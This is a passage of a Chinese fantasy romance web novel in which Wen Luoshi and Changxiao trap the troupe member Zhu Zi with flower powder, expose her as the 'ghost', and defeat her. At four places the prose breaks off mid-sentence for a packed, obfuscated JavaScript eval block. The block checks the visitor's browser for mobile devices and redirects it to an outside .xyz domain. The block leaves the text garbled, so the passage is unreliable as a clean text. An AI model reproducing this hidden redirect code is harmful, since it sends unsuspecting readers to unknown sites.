她们把信息一对,发现基本上描述都能对上。文落诗不再犹豫:“我出门去趟药铺。” 大约三炷香的时间后,文落诗带了好几包药材回来。 “大概就是这种味道。”常绫把那些大包小包拆开,拼拼凑凑了几种药材,在碗里研磨碎开,把印象中的味道复原了个七七八八。 “现下呢,怎么办?”文落诗问道。 “我有个朋友,很懂配药,无论是良药还是毒药,她几乎无所不知,”长晓在一旁,取了一点常绫调好的药材粉末,用纸包好,“我今晚给她递个信,看看她有什么说法。” 此刻,文落诗真的觉得,长晓无所不能。就算他不能,他身边也有别人能。 常绫道了声多谢。 文落诗又想到什么,忽然转过头,对长晓发问:“尹云汐吗?” 长晓愣了一下,否认:“她不站在我这一边。” 文落诗懂了:“我就说么,她不应该帮你的。” 长晓颔首。 常绫听他们的对话,有一种听密语的感觉,整个人都懵着:“什么东西?” 文落诗看她的样子,有些好笑,解释道:“还记得谁是尹岐不?就是在稀音城街上欺负你的那个。” 常绫点头:“当然。” “尹家主事的是尹沥,也就是当今大司马。他有三个子女:老大尹闻习武,在边界处当将军;老二尹岐负责给家里赚钱,他那德行你也目睹过了;老三是个姑娘,叫尹云汐,算个奇女子,精通医药,特别是擅长研制毒药,挺出名的,在这个领域,她稳坐第一把交椅的。” 常绫略微震惊:“你怎么知道这么多啊?” 文落诗无奈:“这不是前段时间你出事了,我想闹清楚谁在背后使坏,才临阵磨枪,痛补了好多当今政坛的知识么。” 长晓补充道:“早些年,尹沥的夫人在世时,三个孩子都没什么多大动作。前些年她过世了,三个孩子就越来越崭露锋芒。” 常绫一副受教的神情。 文落诗笑道:“太复杂了,至少,要不是因为你,我不可能去硬背这些信息的。”忽然,她瞧了眼长晓,疑惑:“你朋友对药理的研究有多深啊?” 她觉得,仅仅凭这一团粉末,就算是尹云汐,都不一定能看出个所以然来。 不料,随着一阵冷嗖嗖的风吹来,长晓淡淡道:“她不重视名声,却是比尹小姐厉害多了。” 文落诗微微张着嘴,眼睛也缓缓睁大。 常绫闻言,拉过文落诗的胳膊,开始不断问这问那。 长晓没顾得上她们叽叽喳喳地讨论,独自走到屋外,确保没人看到后,施法传信。 一道蓝光从院子里奔向天空,直指九重天的方向。 * 翌日一早,长晓从观雪茶楼来到戏班的院子里,就看到班中的人都在往门上窗上贴着什么。 定睛一看,是胡乱画的一些符,大概是用来驱鬼的。 他深感无奈,不予理会,一路走向前,敲了敲常绫的屋门。 常绫探出个小脑袋来开门:“长晓,你来啦?” “嗯,”长晓点头,“她还没醒?” 常绫摇头:“她太能睡了,怎么叫也叫不醒。” “她一向这样,可能她的体质就是需要更多睡眠。”长晓答得十分自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14786180|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然。 常绫仔细地看了看长晓的神情,本想试探一句什么,却始终觉得说不出口。 长晓看懂了她的眼神,弯唇:“不用问了,就是你想的那样。” 常绫拉长音地“哦”了一声,不再犹豫,问道:“她怎么想啊?” “她不知道,也应该不会有什么想法。”长晓的语气太过于平静,似乎这件事和他无关一样。 常绫眨眨眼睛,愣愣地道:“那你……就这么算了?” 长晓没有看她,而是静静地转头看向屋外:“不然呢?” 常绫想到了什么,小心翼翼道:“你是不是另有身份啊?我感觉你知道的太多了,不太像普通人。” 长晓回过神,有些意外地看向常绫,直截了当:“是。所以我也不想拖累她。” 常绫似懂非懂点点头,叫长晓进屋。 他们两个是完全不担心文落诗会听见,因为文落诗睡得实在太熟了。长晓进屋关门后,文落诗还懒懒地翻了个身,伸了伸胳膊,朝着床里面侧过去。 直到很久以后,文落诗睁开眼睛,发现模糊的视线中,有四只眼睛都在同时看着她。 她第一眼看见长晓,瞬间清醒:“我又睡过头了?” 长晓对她丝毫不责怪:“多补补觉对身体好。” 常绫听这话,再想到刚刚跟长晓聊的,浅浅倒吸一口气,牙有点酸:“对呀,长晓都不在乎,我自然也不在乎。” 文落诗心下疑惑,常绫今天怎么了,咋语气这么酸?不过她没想太多,迅速坐起身,问长晓:“你朋友来信了?” 长晓颔首:“你先起来,咱们慢慢说。” 文落诗起床后,长晓拿出一包药粉,简要讲述了此物来历。 他的朋友来信说,根据文落诗和常绫的描述,再结合她们调出的那一小包药材的气味,这很像是灵檀花的花瓣研磨而成的粉末,只不过为了掩盖其气味,加入了几味刺鼻的药材。只不过,灵檀花在整个魔界乃至整个三界都极少见,她印象中唯一一次见过,是在余家的院子里,还是她寻着香味偷偷溜进余家才闻到的。传言灵檀花的味道很好闻,只不过余家人从不外传,因此也无人知晓具体为何气味。 她建议长晓,既然人在寒声城里,不妨去找阿妍问问,看她是否有所了解。 听到这里,文落诗瞳孔一缩,面露一丝震惊。 阿妍原来跟余家有关系? 长晓看出了她的疑惑,但碍于常绫在场,没有多说,只是微乎其微地点了一下头,肯定了文落诗的猜想。 于是,长晓把这些信息给到阿妍,阿妍也觉得很像灵檀花的味道。因为灵檀花的气味确实很好,她以前想着以后万一能有机会用上,便私下藏了不少。长晓找阿妍要了一小包药粉,也就是目前放在桌上的这一包。 “好复杂,竟然跟这么多人能扯上关系。”常绫听着长晓的描述,觉得自己头都要大了。 “若真是朱紫,真是灵檀花,那这件事可就不简单了。”文落诗精准给出总结。 “这件事本来就没简单过。”长晓嗤笑一声,顺手拨开了文落诗额头前的一缕青丝。 “好在,”文落诗意识到自己头发松了,举起手开始摆弄,“抛开背后这些乱麻,我们现在有办法对付朱紫了。” 42. 寒声不解戏中人 这天下午,常绫一个劲地张罗,恨不得告诉所有人,戏班子有救了。 原来,她昨日带来做客的文姑娘,恰好认识一个朋友,对除鬼有所研究。更巧的是,这朋友此刻刚好就在寒声城中。 于是,这一整天,在常绫的带领下,长晓装出一副自己很懂的样子,把“灵檀花粉”洒满了每个人的屋门口处。 只不过,这个花粉是假的,是他们自己配出来的。 一路下来,常绫很自然地接受了旁人对她的感激,但也每每在别人向长晓投来目光时,心里暗骂很久。那种望而却步却恨不得拉丝的眼神,她心里已经快骂了一百遍了。 你说,一个大男人,长得这么好看做什么?要不是文落诗给他安排了个合理到不能再合理的身份,让他光明正大来到戏班的院子里,常绫是真的不想让他在众人面前露面。 招蜂惹蝶,耽误正事。 常绫恨不得立刻跑去跟文落诗说,我求求你了,别再整天没心没肺的,你就看看长晓吧!这样她也能避免很多麻烦,比如她戏班里的别人一个劲地往长晓面前凑。 但是长晓偏偏就不让她说。 反观文落诗呢,偏偏一看就是那种没心思谈情说爱的,她脑子里就没这根筋。 常绫真的很无语,莫名来了一股气,气冲冲地推开屋门,就看见文落诗在里面闲情雅致地喝茶。 “怎么样,所有人的屋前都放好花粉了?”文落诗嘘了口气,吹了吹杯中滚烫的茶水。 常绫懒得搭理她,愤愤地“嗯”了一声。 文落诗察觉不对劲,抬头时,看到常绫已经趴到床上去了。 她觉着有些好笑,见长晓走来,坐在她身边。她很自然地把手中的茶杯递给长晓:“特意给你的倒的,我没碰过这个杯子。” 长晓接过茶杯,脸上笑意更深:“多谢。目前进展很顺利,多亏了你给我安排好身份。” 文落诗欣然伸手,撑住下巴:“我完全是按照写话本的思路来的。如果要我来编这个故事,情节此刻就应该这么发展。” “你可真有经验啊。”趴在床上的常绫忽然凉凉说道。 文落诗疑惑,凑近了问长晓:“她今天怎么了?从我一起床,她就不对劲。” 长晓盯着文落诗,眼角漾起:“她是嫌刚刚带我在院子里转悠的时候,太多人盯着我的脸看,怕你不高兴。” 文落诗懒懒抬眸,瞅了瞅他的脸,无奈道:“那可太正常了,我没什么不高兴的。” 常绫真的受不了文落诗这种云淡风轻的态度了,仿佛跟她自己没啥关系一样。她气冲冲从床上坐起来,对文落诗怒目而视,恨不得亲手上去撮合他俩。 她咋之前不知道文落诗这么不开窍呢?还是,其实文落诗什么都知道,只是因为不想,所以故意避而不谈? 文落诗不搭理常绫,继续问长晓:“朱紫呢?她的门前放好药粉了?” “嗯,”长晓喝了口文落诗倒的茶,“所以,不出意外,她会是今晚唯一一个不敢出门的人。” 长晓和常绫出门前,文落诗凭借着自己的想象,设想了一下如果是在编故事,现下应该发生什么,然后,绘声绘色地讲述了一段今晚该发生的故事情节。 文落诗的构想,或者说脑子里完整的话本情节,是这样的: 常绫和她发现鬼之后,魂不守舍,开始拼命想办法解决。正在惆怅之时,文落诗灵机一动,一拍桌子,说自己认识一个朋友,这个朋友或许能帮上忙。于是文落诗在外面一打听,发现巧了,这个朋友刚好在寒声城,文落诗就就把他给请来了。 这位“刚好”在寒声城的朋友,自然就是长晓。为了不引起过大的轰动,文落诗没有把他的名字透露出去,在这个故事里,让他暂时当一个无名的除鬼大师就行了。 这位除鬼大师在查看了院落中的情况后,声称自己有配好的药粉,可以让鬼在今晚显形。于是,在常绫的带领下,他在院落中各处均涂撒了药粉,并嘱咐所有人,今晚酉时正刻,聚集在主院外的空地处,等待鬼出现,见证这激动人心的时刻。 然后,晚上,“鬼”便会当着所有人的面出现。其实,对付这个“鬼”,文落诗随便一挥袖,恐怕就足够了。但是,她为了符合前期情节中胆小怕鬼的人设,还真不能挥这个袖。所以,这件事就只能交给长晓来做。 但其实,底层逻辑是,人们自然都对长晓所说言听计从,今晚都会出门。所以那个不敢出门的,就是“鬼”。 且不说大家有很大概率直接发现朱紫不在场。就算没人发现,文落诗所负责的,就是强行让这个“鬼”出现在众人面前。只不过,这一段为了话本的精彩程度,一般不会正面进行描写。 当她讲完这个故事,常绫自然提出疑问:“真的能保证,灵檀花粉,是让她变成鬼的药引子吗?” “赌一把而已。”文落诗其实也不确定,但是这种情况下,哪边先失去信心,哪边就输了。 “根据你的描述,我想了好久,朱紫的修为很明显不高,甚至可能都没你高,所以可以确定的是,她只凭自己,是不可能变成鬼的,除非借助某种外力。我的设想是,她有了某种特殊的体质,至于是别人给她身上施法还是她怎么取得的,都不重要。重要的是,这种体质一旦碰上灵檀花粉,就会使她变成鬼。” “落诗的意思是,她之前主动变成鬼,是因为她主动去接触灵檀花粉。如今她为了防止暴露,自然不敢再主动碰花粉。那我们就设法,让她被动碰上花粉。她以为自己一旦出门就会碰上花粉,所以她今天是不能出门了。”长晓抿了口茶,补充道。 常绫还是觉得心里发虚:“万一,是她本身就掌握了某种歪门邪道的术法,自己就能使用,不需要灵檀花粉呢?” 文落诗眼神中流露出一股狠劲:“我赌的,就是她压根没有达到这么高的修为,哪怕是歪门邪道的术法,也炼不成。” 长晓完全同意:“这种一听就很消耗修为,我也觉得她没这个本事。” 文 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14798363|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 落诗瞅了眼常绫,察觉她近日经常无精打采的,有些心疼:“等解决了鬼这件事,我立刻想办法,帮你解决民间谣言的事情。” 常绫阖眼,疲劳地点点头。 文落诗忽然想起来一件事:“长晓,所以你之前给我配的药,是跟你这个朋友学的?” 长晓稍稍一怔,想起之前文落诗的脸被尹岐划伤,自己给她配了药。 “是,我什么都学过一点。” 文落诗心想,你那可不是会一点。 * 晚上,夜色再次压下来的时候,朱紫一个人在屋中瑟瑟发抖。 她早就把自己那一小包灵檀花粉封好了,保证没有任何粉末泄露在外。可是,屋外一阵阵不断袭来的灵檀花香,让她不由自主地打颤了好几个时辰。 她知道自己不能出门,一旦出门,身体就会立刻感受到花粉,然后她就会变成鬼。可是今天晚上,文落诗和她的那个朋友,已经把事情闹得人尽皆知,所有人都知道门前洒了除鬼的药材,而所有人也都会在今天晚上聚集在大院里。谁不出门,就证明是谁在扮鬼。 可是她出不去门啊! 忽然,她灵机一动,仔细闻了闻这花的香气—— 不对! 这不是灵檀花的味道! 她微微一怔,随即开怀大笑。是啊,灵檀花只有余家人手里才有,她的花粉全都是主子给的,那几个人怎么可能弄来?不过是跟她一样,装神弄鬼,吓唬这些不知情的人呢! 她眼睁睁看着屋内的更漏已经快到酉时,便小心翼翼把鼻子凑近门口一闻。果然,这明明只是金银花和重楼混起来研磨成粉的味道。她心下得意极了,暗讽那几个人的故弄玄虚,于是整理好衣裙,慢悠悠地推开门。 院子里早就空无一人。她安步当车,甚至有些胜利者的大摇大摆,走向前去。 忽而,她身后飘过一股风。 待她回头之时,文落诗已经款款落落地站在她身后,并不紧不慢地在她身后撒上了一团粉末。 朱紫一惊,因为这个气味过于熟悉了。 这是千真万确的灵檀花! “你怎么会……”朱紫感受到身体里一股热流猛地窜上来,迅速在身体中蔓延开来,一种控制不住的力量刹那间席卷了全身,她的眼角也开始向两侧拉扯。 “没错,之前特意放了假的花粉,就是想引你出来。不过这回是真的喽,这屋子你回不去了,快逃吧!” 文落诗甜甜地笑着,声音轻飘飘的,好像在故意告诉朱紫,逃哦,给你留好路了。 朱紫此刻当然知道文落诗给她布下了巨大陷阱。可屋门前刚晕开的灵檀花粉太过于浓郁了,这屋子她是肯定回不去了。而且,这次文落诗在空中洒了极大剂量的花粉,她再不走,就会在当场变成鬼的样子。 情急之下,她全身都慌乱着,再也不犹豫,化作一缕粉烟,向院子外冲去。 文落诗拍了拍手上的花粉,安心一笑,也随着夜风消失在院子中。 43. 寒声不解戏中人 朱紫一路幻化成一团粉烟狂奔向前。越是狂奔,她越是惊诧不已:这条通往大院的路,怎么丝毫没有防备? 她以为,这一路上会困难重重,布下天罗地网,或者有扑面而来、躲也躲不掉的灵檀花。 但是,什么也没有。 直到她来到大院的一侧的屋檐上,没有人注意到她,更没有人对她出手。 黑夜之中,屋檐和走道上,都只有夜色流过的痕迹,没有任何颜色,也没有任何动静。 一切静得可怕,仿佛有什么在等待着她的到来,蓄势待发。 不对,这不正常。 院中空地处,人群的最中央点燃了火堆,想来是怕大家夜里出门被冻着。常绫和长晓站在火堆旁,而四周围了一大圈人,密密麻麻,一片乌黑的头发连绵不断似的。戏班里的所有人都在这里了,三三两两靠着取暖,同时也有人在发抖,自然不是因为冷,而是因为害怕。 朱紫望着这一切,刚想显露出身形,加入其中,忽然暗道不好。 她没在人群中看到文落诗! 朱紫身子一晃,不小心踩空了,却在将要掉下房檐的那一刻,感觉自己隐去的身形,被一股强烈的气息给支撑住了。 她瞪大眼睛,嘴角抽搐,不断四周乱看,也没发现有谁在她周围。 “别找啦,你看不到我的。”文落诗的声音幽幽地传进朱紫耳朵里,吓得她身上汗毛震颤,身子也打了个哆嗦。 见朱紫魂不守舍,文落诗又笑了一声,昏昏沉沉的声音接着道:“既然来了,就别走了嘛。” 几乎就在同时,朱紫觉得自己头上撒下来一大把粉末。而她的身体被控制住,丝毫挪动不了。 那一瞬间,朱紫几乎是极度清醒与极度崩溃的。 她清晰地感受着从头顶处的花粉如同洒盐般落下,覆盖了她的全身,衣服上、袖子上、脸上、手臂上、甚至耳垂上。 她控制不住地吸了一口气,那最熟悉不过的灵檀花香气,几乎一刻也不想再等,冲进她的鼻腔之内,并迅速落地生根,开始张牙舞爪地在她体内蔓延着。 体力的迅速流失,早已无法再隐身,于是,伴随着身体里那迸发开来的热流,她那如同粉衣娃娃一般的鬼形逐渐显露在空中。 可是她动不了。一点也动不了。她就这么被架在屋檐上,眼睁睁地看着自己一点一点露出鬼的样子。 而文落诗早已不知什么时候回到了人群中。此时,见朱紫已经完全变成恶鬼的模样,文落诗假模假样冲出人群,一惊一乍地抱住常绫,抬起颤抖的手,往朱紫的方向一指: “常绫,你快看那里,是不是那个鬼?” 随着她一声疾呼,院落中的所有人都下意识地抬头看去—— 看到了一个鬼,顶着娃娃发髻,身着粉色衣裙,额头上点着血丝的花钿,双眼只剩下两个黑洞,手臂只剩下一副枯骨,身上只剩下黄色皮囊。 她蓬松的头发随着深夜的冷风飘动着,耳垂上挂着的指甲盖也来回晃动着。只是,若是仔细看那双黑洞和那张干瘪的嘴唇,竟然在不住地打颤,好像,那个鬼,在害怕。 长晓见状,暗自勾唇一笑,指尖藏在背后轻轻一挑,施法解开了朱紫身上的束缚。 朱紫察觉自己身子一松,险些要掉下屋檐。 “啊!鬼啊!” 朱紫这一动,也戳破了整个场面的安静。人群像炸锅了一样,喊的喊,叫的叫。不少人倏地抱紧自己的头,生怕那鬼朝自己冲来。一时间,整个场面乱了套,大家东躲西藏,嘶喊连连,叫苦不迭。 长晓不再犹豫,从地面上跃起。他绛紫色的衣袖飘飘,如同天空中绘过一笔浓重的水墨。 几乎在同一瞬间,他出现在屋檐之上,掌中一袭蓝光射出,直指那幽幽粉鬼。 朱紫干脆破罐子破摔。既然被看到了,那她就没必要掖着藏着了!自己戏班里的人好糊弄,只要外来人给灭口就好了! 她瞥了一眼还在院子中央的文落诗,冷冷一笑。 既然是你们帮我变成了这副样子,那就别怪我使出这副样子该有的实力了! 在她眼里,长晓不过是个请来的吉祥物,镇场子用的。再者,也不会有人知道,她的最强的法力,其实是与这副模样融合的。她变成了“鬼”,便是打开了自己原本血脉,拥有的法力比之前强上了不知道多少倍。 她那枯骨一样的双臂在空中挥动,直指苍穹,粉色的衣袖随着汩汩气流飘动着,五彩的光束如同溪流般,从四周袭向长晓的身侧。 长晓的面色也变得严肃起来。他本以为朱紫只是在扮鬼吓人,如今她望见这般实力,他有些不解。 这些看起来,并非魔族所修炼的术法。 下面不少人在看着,长晓不想在这么多人暴露自己过多的实力,以免使这些人起疑。因此,他所使用的攻击术法,都是最普通的、家常便饭的那种,打出的光束大多都是黑色的。只不过他修为高,哪怕是最普通的术法,从他手中施出,一般人也承受不住。 但朱紫不仅承受住了,还跟长晓已经交锋了快几十个回合了。 常绫在下面,也渐渐看出了状态的不对劲,拽了拽文落诗的手:“长晓应该是不想暴露自己的实力,藏拙了吧?” 文落诗毫不犹豫点头:“当然。” 说完这话,她自己也才反应过来,自己心中,似乎一直对长晓有足够的信心,好像有一种安全感,早已把他当成自己人。 可是没过多久,朱紫那边逐渐占了上风。在刺眼的光芒中,文落诗隐约看到,她那只剩下骨节的手指轻轻往上一挑,又一股强劲的气流涌起,直击长晓的要害处。 常绫下意识想攥紧文落诗的手,却发现那一瞬间,身边的人已经消失了,留下一句话回荡在空气中: “他不能暴露,我却没这个顾忌。” 另一边,长晓面对朱紫这些毫无章法的攻击,心下微微震惊。 他是真的第一次与人耗这么久。以往任何一次和别人交手,哪怕是像今天这样藏着实力,都没有遇到这么令人费解的对手。他实在摸不出朱紫的攻击路数,而朱紫使用的种种招数,他也一个都没见过。 连他都没见过,意味着什么? 长晓此刻十分确定,朱紫绝非魔族,但眼下更要紧的,是先赢她再说。朱紫显然是暴露了自己的身份,她若是真的在意这件事, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14802527|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那就意味着,要是赢不了她,整个戏班的性命都都不一定能保住了。 他不再犹豫,掌中开始涌起剧烈的蓝光。正当他打算出招时,一道熟悉的粉烟在他前方出现,先他一步,袭至朱紫的方向。 长晓在那一瞬间懵了。他望着身前那个在烟雾中渐渐清晰的身影,有种强烈的不真实感。 ——他从来没想过有人会来帮他。 从小到大,他几乎很少需要亲自出手杀敌。若真需要出手,也是单打独斗。 此刻,他眼睁睁看着文落诗那盈盈的身姿出现在自己面前,头上松松垮垮绾着一支木簪,满头青丝软软绵绵地垂下,发梢处随着夜风和气流一晃一动,飘飘乎乎。 好像在他的心坎上晃来晃去。 文落诗这次出手,是真的一点也没噎着藏着。对面朱紫脸上的两个黑洞露出吃惊的神色,显然没想到文落诗这么强。 “他是不屑跟你斗而已,你可别以为,这里所有人都跟你想的一样,是花架子。” 文落诗冷冷地朝朱紫的方向开口,掌中的粉烟源源不断地流出,逼得朱紫连连后退,险些在屋檐上站不住。 朱紫在文落诗的这番强攻下,早已失去了所有攻击的能力,只剩下不断地防御,连连给自己身侧加了好几个结界。 只不过,文落诗的体力也在迅速流失。她表面上傲然不动,但内心里惊叹了很久,此刻的朱紫真的强得可怕。她倒是不担心自己赢不了,就是担心自己赢了朱紫之后,需要在床上又躺个十天半个月。 她一跃上前,悬在空中,双手从两侧将一团粉烟聚拢。那团粉烟快速旋转,进而直击朱紫的方向。 朱紫快撑不住了,双臂抵在头顶上,死死撑着最后一层防御的结界。 文落诗心里念叨很久,以为下一刻长晓就会来帮忙,可余光里瞥见那个熟悉的身影还在远处站着不动,仿佛在看自己,用看一幅画卷一样的眼神。 “长晓你来帮个忙啊,你又想让我在床上躺十天半个月的下不来吗?” 文落诗真的急了,根本顾不上自己说了什么。 长晓是实打实在欣赏美人,一不留神看得时间有些久。听见文落诗一呼,他回过神来,暗地里无奈地笑笑,笑他自己居然有朝一日会出神至此。 下一刻,他的身形就闪现在朱紫的另一侧,向朱紫打出无数道从四周而来的蓝色光晕,把朱紫缠得四面楚歌。 文落诗见状,使劲一咬牙,一道鲜红的光芒从掌中蹿出,击中朱紫额头处。 这回,朱紫的额上流淌的,是实实在在的墨绿色血珠了。 她失去了所有防备,被周围环绕的术法全部击中,双臂一软,身子一轻,向院子里的落去。 院子里一片惊叹响起,看着从天上掉下来的“鬼”重重砸在地上,所有人都心有余悸,却又在下一刻原地跳起来庆祝。 文落诗收了法力,闭眼长长地舒了一口气。 她累得腿软,恰巧,脚下那一块瓦片上凝了夜里的露水,她一不留神,脚底打滑,就觉得自己身子向后仰去。 她心下一惊,还没来得及施法稳住身子,就觉得背后伸来一只手臂,将她严实地托住了。 44. 寒声不解戏中人 文落诗一直没睁眼。 她其实很清楚自己睁眼将会看到什么。但是,她偏偏有一种从未有过的恐慌,不想面对自己睁眼会遇见的情景。 “啧,”那熟悉的声音从额头处传来,“怎么,不敢睁眼看我了?” 文落诗倏忽睁开眼:“我不睁眼,你就这么一直抱着?” 她看到的不只是长晓的脸,连他那缕垂在自己身上的头发丝,都能看得一清二楚。夜色像是一切的陪衬,再黑得浓烈,也掩盖不过包裹自己周身的那一袭绛紫色。 其实在早上,文落诗就注意到长晓穿了一件绛紫色的衣服。那时,她确确实实被惊艳了一瞬,但她没有过多表现出来。 如今,此人就在自己身边,仿佛一切触动心弦的事物,都争先恐后地狂奔着,闯进她的视野中,让她再也不能逃避,只能去直视,去将所有惊鸿狠狠收入眼底,去接受自己的心在以不正常的速度跳动着。 那心跳声,吵得她不得安宁。 而此刻,长晓再次开口,温热的气息从额头上再次传来:“嗯,倒是可以。” “可以什么可以!”文落诗蹙眉惊呼,瞬间直起身子,迅速从他的怀里逃出来,背过身去,仰着头大吸几口冷气。 她用力把心跳压下去,把刚刚的一切都抛之脑后。 长晓似乎早就猜到了她会这副模样,没过多管她,率先飞身下了屋檐,回到院子中央,那副落地的女尸旁。 文落诗平复了一会,确定自己全身冷了下来,也飞了下去。 此刻,众人在那一抹艳粉色的女尸周围围了一圈。常绫见长晓和文落诗先后下来,激动不已,一个劲地向长晓点头致谢,接着,提着裙摆开开心心跑过去,挽过文落诗的胳膊: “你们俩可真是太厉害啦!” “没人怀疑我怎么性格变化这么大?” “没有,大家都光顾着怕鬼了,一时半会想不明白这点的。” 文落诗稍微松了口气,直视着面前瘫在地上、如同烂泥一般的“鬼尸”。 她忽然想到什么,目光一顿,抬眼一看,长晓也正好看向自己,眼神中好像有话要说。她拍了拍常绫的手,示意她先松开自己。 常绫莫名其妙,下一刻,就看到文落诗移步长晓身旁,踮起脚,把头凑到长晓耳边,离得极近,还不忘用手遮住,开始窃窃私语。 常绫觉得,今天真是赚大了,不仅看到了长晓抱了文落诗,还看到此刻的场景,大饱眼福了。她嘴角一个劲地上扬,收都收不住。旁人问她在笑什么,她也不答,就直勾勾地看着眼前的两个人。 而文落诗丝毫不知道常绫在想什么,开口就道:“得想个办法,证明她是朱紫。” 长晓轻轻点头:“再等等,我猜的是,过一会她的修为散去后,就会露出原本的样貌了。” 他所言不虚。文落诗站在他身侧,观察了一会众人的神情,便发现女尸上面的点点光芒开始动了。 众人刚还在三言两语地指指点点,此刻全都不说话了,几十双眼睛齐刷刷地盯着女尸。 只见,那女尸缓缓从鬼的模样,变成了一个双目紧闭的女子。 “朱紫姐姐?”不知是谁先喊了一声。 “啊,怎么会是她?”随着一声呼喊,人群迅速炸开,纷纷惊叹。 常绫露出惊讶的神情,同时不忘给文落诗和长晓这边递了个眼神,暗示他们装一下。 文落诗和长晓内心都很无奈,但是表面上十分配合,故作震惊。 “这位是……之前来找过我的朱紫姑娘?”文落诗细声细语地发问。 “就是她!谁能想到,是她在扮鬼吓唬大家!”一个年迈的女子大喊道,恨不得立刻肯定文落诗的猜想。 “可朱紫的修为不高,啊,我不是刻意鄙视她,我是在陈述事实。刚刚那个女鬼所使用的术法那么厉害,不太可能吧?”一个高个子的男子疑惑。 长晓想了想,沉静道:“许是她借鬼身炼化了邪术。她方才使用的术法,确实并非魔族所用。” 凭文落诗的了解,她明白长晓想说的不止于此。但此刻不能让众人起疑,她便补充道:“大约她平日里一直在掩饰自己,真面目便是如此吧。” 说完,她给常绫递了个眼神,传音道,你快顺便提一句总管事的事情。 常绫收到文落诗的传音,装出忽然想到什么的样子,大吃一惊,提高了嗓音:“难道,前几日说总管事失踪了,便是朱紫做的?毕竟,院子里没有别的异常,总管事消失和鬼出现,也是同一天晚上……” 众人闻言,纷纷如梦初醒一般。 “她可真是太坏了,就仗着总管事对她好,反咬一口是吧!” “把总管事弄死对她有什么好处?” “她觉得自己如今红了,可以胡作非为,再进一步,想取代总管事的位置呗。” “呸,她怎么做得来?” “别提了,总管事也不是什么好人。” “没错,你们看常绫,人家好好的勤勤恳恳,就因为演戏演得太好了,被他针对,结果干了一年多的苦力,前几日被他使唤着搬衣箱,手都磨破了。” “我也是,我从刚进班就是容妆科的,结果近几年他竟然让我去给交通科打杂!” 话匣子炸开了。如今没了总管事余峥,也没了总管事的头号小跟班朱紫,人们纷纷开始抱怨之前遭遇的不公。 文落诗来到常绫身边,轻轻牵起她的手,眉头轻轻一皱:“你的手,什么时候破的?” 常绫感激一笑,摇头:“就破了一道小口子,前段时间太冷了,冻裂的而已。现在早就好了。” 文落诗还是心疼:“我回头给你点我用的护手油。你说你,什么都一个人扛着,就是不跟别人说。” 常绫笑着道谢,又道:“你不是也什么都一个人扛吗?” 文落诗面色。 常绫说的是事实。这也是她们两个总能十分理解对方的原因。 长晓见她们两个叽叽喳喳许久,此时走来两人身边。 此时,那人群中央的女尸,出现了一幅怪异的情景。 按常理,魔在死后半个时辰内,若不用特殊方法将尸体冰封或者储存,便会化作黑烟散尽,从此消失在世间。可眼前的朱紫并没有化作黑烟,而是皮肤渐渐消失,不断有水珠从骨骼上冒出,滴滴答答,开始扩散。最终,整个骨骼融化,那些水珠似乎汇聚成无数条小溪流,向四面八方散开,最终蒸发,消失不见。 这种死法,在场的所有人,都是第一次见。 长晓意识到,这件事越来越复杂了,一时半会也想不清楚。见大家都在满面愁容,不明所以,他对常绫道:“深夜了,既然事了,让大家都回去歇息吧。” 文落诗没意见,常绫走上前去,说如今鬼的事情已经解决,时间不早了,劝大家安心回屋休息。 人群就是这样,汹涌而至,最终慢慢地,零零散散,萧条退去。 三人一起走回常绫的房间时,文落诗跟常绫提了一句:“今晚好好休息,明天开始,想办法帮你解决街上谣言的事情。” 常绫很久没有这么安心且快乐地笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14811554|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过:“好,我尽全力配合,这些时日,真的多谢你和长晓了。” 长晓见她提及自己,自然而然道:“不必多谢,力所能及而已。” 文落诗也点头:“先清净几日,没了余峥没了朱紫,就好办多了。” 长晓因为除鬼大师的身份尚在,常绫给他顺理成章地安排了一处客房,离常绫的屋子不远。 行至分岔街口处,长晓正欲离开,却听文落诗对常绫问道:“我刚刚在对付朱紫的时候,是不是喊了一句长晓的名字?” 常绫想了想:“是,你不仅喊了他的名字,还说……” 